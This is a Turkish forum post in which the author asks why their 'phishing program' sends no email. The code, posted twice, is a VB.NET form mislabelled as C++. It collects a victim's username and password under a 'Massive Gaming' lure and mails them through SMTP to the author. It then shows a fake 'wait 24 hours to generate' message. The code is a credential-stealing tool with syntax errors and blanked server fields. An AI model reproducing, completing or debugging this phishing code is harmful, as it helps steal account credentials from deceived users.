c++ İle Bir Program Yaptım Phishing Programı Fakat E Mail Gelmiyor
Kodları
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
TextBox2.UseSystemPasswordChar = True
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
TextBox2.UseSystemPasswordChar = False
ElseIf CheckBox1.CheckState = False Then
TextBox2.UseSystemPasswordChar = True
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = Then
MsgBox(Please Input Username., MsgBoxStyle.Critical)
Else
If TextBox2.Text = Then
MsgBox(Please Input Password., MsgBoxStyle.Critical)
Else
End If
End If
Dim SmtpServer As New SmtpClient()
Dim mail As New MailMessage()
SmtpServer.Credentials = New Net.NetworkCredential(""),("")
SmtpServer.Port = 587
SmtpServer.Host = ""
SmtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("")
mail.To.Add("")
mail.Subject = Massive Gaming
mail.Body = "Username:" & TextBox1.Text & "||" & "Password:" & TextBox2.Text
SmtpServer.Send(mail)
MsgBox("Wait for 24 hours to generate.", MsgBoxStyle.Information)
End Sub
End Class
Bilgileri Kontrol Edin
Kodları
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
TextBox2.UseSystemPasswordChar = True
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
TextBox2.UseSystemPasswordChar = False
ElseIf CheckBox1.CheckState = False Then
TextBox2.UseSystemPasswordChar = True
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = Then
MsgBox(Please Input Username., MsgBoxStyle.Critical)
Else
If TextBox2.Text = Then
MsgBox(Please Input Password., MsgBoxStyle.Critical)
Else
End If
End If
Dim SmtpServer As New SmtpClient()
Dim mail As New MailMessage()
SmtpServer.Credentials = New Net.NetworkCredential(""),("")
SmtpServer.Port = 587
SmtpServer.Host = ""
SmtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("")
mail.To.Add("")
mail.Subject = Massive Gaming
mail.Body = "Username:" & TextBox1.Text & "||" & "Password:" & TextBox2.Text
SmtpServer.Send(mail)
MsgBox("Wait for 24 hours to generate.", MsgBoxStyle.Information)
End Sub
End Class
Bilgileri Kontrol Edin
Moderatör tarafında düzenlendi:

